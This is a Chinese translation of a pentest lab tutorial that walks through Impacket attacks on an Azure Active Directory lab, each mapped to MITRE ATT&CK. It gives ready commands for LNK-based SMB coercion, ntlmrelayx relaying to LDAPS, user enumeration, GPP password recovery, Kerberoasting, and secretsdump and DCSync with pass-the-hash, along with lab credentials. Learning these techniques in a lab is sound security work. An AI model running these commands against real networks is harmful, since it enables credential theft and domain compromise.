利用Azure实验室掌握Impacket攻击基础

本文详细介绍了在Azure实验室环境中使用Impacket工具进行攻击的基础技术,包括ntlmrelayx.py、GetADUsers.py等工具的使用方法,并关联MITRE ATT&CK攻击框架,适合网络安全爱好者和渗透测试人员学习。

Impacket Offense Basics With an Azure Lab

概述

以下对Impacket部分工具和技术的描述是对作者SecureAuthCorp以及维护和扩展代码的开源努力的致敬。
https://github.com/SecureAuthCorp/impacket

实验室设置

ARM模板在此:doazlab.com 或 github.com/DefensiveOrigins/DO-LAB
认证到可以构建资源的Azure订阅。部署实验室。

域控制器和加入的工作站
Ubuntu

ntlmrelayx.py

以下攻击场景模拟了Mitre ATT&CK 1204:恶意链接。
https://attack.mitre.org/techniques/T1204/001/
攻击者在网络文件共享上留下一个LNK文件,以触发对恶意目标的静默认证。所有未受保护访问文件共享的访客无需用户交互即提交凭据。是的,这很可怕。以下PowerShell命令生成快捷方式文件–LNK–并指向ntlmrelayx监听器。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
cd c:\
mkdir c:\file6
New-SmbShare -Name "file6" -Path "C:\file6" -ChangeAccess "Users" -FullAccess "Administrators"
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("c:\file6\malicious.lnk")
$lnk.TargetPath = "\\10.0.0.8\@threat.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Users browsing any file share with this LNK file triggers SMB auth."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()

下面的ntlmrelayx.py监听器设置针对远程服务器(ws05.doazlab.com)上的SMB监听器。此攻击模拟Mitre ATT&CK T1557:中间人攻击。
https://attack.mitre.org/techniques/T1557/001/
以下命令启动在实验室部署期间安装的虚拟环境。*注意:虚拟环境简化了Python工具需求的安装,并且易于使用。这个最基本的调用攻击工作站的监听SMB端口TCP/445。

1
2
3
4
5
sudo -s
cd /opt/impacket
source imp-env/bin/activate
cd examples
ntlmrelayx.py -t 192.168.2.5 -smb2support | tee –a /opt/impacket/relay1.log

不幸的受害者访问带有攻击者LNK的文件共享,并触发认证到ntlmrelayx.py监听器的TCP/445中继。

当中继的受害者在目标系统上具有管理员权限时,ntlmrelayx通过远程注册表服务转储NT哈希。

攻击者还可以攻击域控制器上监听的LDAP服务。在其最基本的形式中,该攻击类似于下一个命令。您需要交换DC名称、IP地址,并确保安全LDAP在目标上监听TCP/636。

1
ntlmrelayx.py -t ldaps://dc01.doazlab.com

此监听设置不能依赖于之前提到的作为我们通过共享投毒获得初始立足点的毒化SMB共享。您无法将SMB认证挑战响应中继到LDAPs;这不起作用。

相反,此攻击可能依赖于浏览器代理配置劫持。通过基本投毒配置,您可能在成功的HTTP挑战认证(投毒、劫持等)后看到类似以下内容。

考虑到所有这些输出,这个工具刚刚劫持了域,而我们无需做太多。默认设置(给定足够的中继权限)对目标域造成了严重破坏。我们需要更深入地了解底层发生了什么。以下调用更接近我的标准方法,我们将讨论每个标志及其原因。

1
ntlmrelayx.py -t ldaps://dc01.doazlab.com -ts -l /opt/impacket/loot --add-computer BHISBlog47 --dump-laps --no-dump --no-da

以下是用法输出(ntlmrelayx.py -h),显然有很多选项。

回到之前的用法场景——那里发生了什么?理论上,这种攻击技术有点匹配Mitre ATT&CK技术T1136的旧版本:添加域账户。
https://attack.mitre.org/techniques/T1136/002/

这与我在当前矩阵中可以找到的技术不太匹配,这很可能是我找到它的能力的功能,而不是矩阵中的盲点。

1
ntlmrelayx.py -t ldaps://dc01.doazlab.com -ts -l /opt/impacket/loot --add-computer BHISBlog47 --dump-laps --no-dump --no-da
  • -t: 目标规范,在这种情况下是DC上的安全LDAP监听器
  • -ts: 向控制台输出添加时间戳
  • -l: 定义战利品目录
  • –add-computer: 如其所述,但生成随机密码
  • –dump-laps: 如其所述,中继用户需要足够的权限来读取相关模式属性
  • –no-dump: 不转储AD用户、组等(LDAPDomainDump)
  • –no-da: 不尝试创建域管理员

运行这些工具时另一个强烈建议的步骤是编写自己的日志文件。我喜欢添加一个管道输出,如下所示:
| tee -a /opt/impacket/relay.log.

ntlmrelayx.py能够做更多的事情,如果需求足够,我们将进行更深入的探讨。然而,在结束本文之前,让我们再看一下Impacket库中的几个工具。

GetADUsers.py

GetADUsers.py类可以将第一次入侵转化为准确的用户列表。此攻击可以在MITRE ATT&CK中引用为T1087,账户发现:域账户。这是攻击技术矩阵中的基本枚举。
https://attack.mitre.org/techniques/T1087/002/

1
python3.9 GetADUsers.py -all -ts doazlab.com/doadmin:'DOLabAdmin1!' -dc-ip 192.168.2.4 |tee -a /opt/adusers.txt

此文本输出现在作为扩展对域攻击的另一个参考点。此步骤在攻击矩阵中的某处,但作为渗透测试员,我会在寻找此输出之前很久就依赖BloodHound数据集。这只是一个意见,可能会改变。

Get-GPPPassword.py

与GetADUsers.py及其在我武器库中的不频繁使用相反,Get-GPPPassword.py类更常用。这是对Microsoft无意中发布的组策略偏好密码存储解密方案的快速检查。我们仍然在野外找到这些密码,但变得越来越少。

1
python3.9 Get-GPPPassword.py 'doazlab.com'/'doadmin':'DOLabAdmin1!'@'192.168.2.4'

此攻击映射到MITRE ATT&CK,是T1552下的一个子技术,不安全凭据:组策略偏好。
https://attack.mitre.org/techniques/T1552/006/

我们在此攻击实验室环境时没有恢复任何凭据,但您可能会。

GetUserSPNs.py

GetUserSPNs.py类设计用于从域收集Kerberos票证哈希。此攻击被分类为MITRE ATT&CK T1558的子技术,窃取或伪造Kerberos票证。
https://attack.mitre.org/techniques/T1558/003/

1
python3.9 GetUserSPNs.py 'doazlab.com'/'doadmin':'DOLabAdmin1!' -dc-ip 192.168.2.4 -outputfile /opt/hashes/kerbs.txt

-outputfile命令选项提供了以下可破解的Kerberos票证材料,格式为Hashcat就绪。

Secretsdump.py

最后,让我们回顾一下Secretsdump.py。下面将呈现两种独特的用法场景。第一次攻击从已获得管理权限的远程系统转储凭据材料。此攻击与MITRE ATT&CK T1003,OS凭据转储对齐。
https://attack.mitre.org/techniques/T1003/003/

下面的语法是最基本的用法,将尝试转储目标远程系统的LSA秘密和SAM表。

1
python3.9 secretsdump.py doazlab/doadmin:'DOLabAdmin1!'@192.168.2.5 |tee -a /opt/hashes/secrets-output.txt

此攻击出奇地难以用标准Windows光学器件检测,但我们将在防御战术配套文章中讨论这一点。

第二个Secretsdump.py调用是NTDS.dit捕获。这具有相同的父技术T1003,OS凭据转储,但是不同的子技术。在这种情况下,MITRE子技术列为DCSync。
https://attack.mitre.org/techniques/T1003/006/

我提到哈希足以在域上同步秘密吗?

1
2
3
python3.9 secretsdump.py -outputfile 'doazlab.dit' 
'doazlab.com'/doadmin@'192.168.2.4' -hashes 
aad3c435b514a4eeaad3b935b51304fe:3606a042149187931ced1f8cedafe26c

感谢阅读。
-jd

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计